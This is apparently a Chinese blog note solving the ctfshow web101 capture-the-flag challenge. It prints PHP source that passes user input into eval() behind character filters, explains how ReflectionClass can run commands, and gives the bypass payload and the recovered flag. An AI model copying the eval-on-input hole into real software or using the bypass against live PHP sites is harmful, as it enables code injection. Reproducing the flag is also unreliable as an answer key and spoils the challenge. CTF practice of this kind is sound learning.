web101笔记(反射类ReflectionClass执⾏命令-增加了大量过滤)
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-22 00:26:48 # @link: https://ctfer.com */ highlight_file(__FILE__); include("ctfshow.php"); //flag in class ctfshow; $ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){ eval("$v2('ctfshow')$v3"); } } } ?> Notice: Undefined index: v1 in /var/www/html/index.php on line 17 Notice: Undefined index: v2 in /var/www/html/index.php on line 18 Notice: Undefined index: v3 in /var/www/html/index.php on line 19
反射类ReflectionClass执⾏命令 ReflectionClass反射类在PHP5新加⼊,继承⾃Reflector,它可以与已定义的类建⽴映射关系, 通过反射类可以对类操作 反射类不仅仅可以建⽴对类的映射,也可以建⽴对PHP基本⽅法的映射,并且返回基本⽅法执⾏的情 况。因此可以通过建⽴反射类new ReflectionClass(system('cmd'))来执⾏命令
PHP Reflection API是PHP5才有的新功能,它是用来导出或提取出关于类、方法、属性、参数等的详细信息,包括注释。
$class = new ReflectionClass(‘ctfshow’); // 建立 Person这个类的反射类
$instance = $class->newInstanceArgs($args); // 相当于实例化ctfshow类
涉及到类,可以考虑使用 ReflectionClass 建立反射类。
new ReflectionClass($class) 可以获得类的反射对象(包含元数据信息)。
元数据对象(包含class的所有属性/方法的元数据信息)。
payload:v1=1&v2=echo new ReflectionClass&v3=;
flag中有些字符经过ACSII码变换,好像还少了一位,爆破即可
Unlock Hint for 0 points ?v1=1&v2=echo new Reflectionclass&v3=; Unlock Hint for 0 points 替换0x2d为-,最后一位需要爆破16次,题目给的flag少一位
?v1=1&v2=echo new ReflectionClass&v3=;
flag_c321511a0x2d961f0x2d45900x2d8dc20x2de76e65090c1
c321511a-961f-4590-8dc2-e76e65090c1
ctfshow{c321511a-961f-4590-8dc2-e76e65090c1a}
浙公网安备 33010602011771号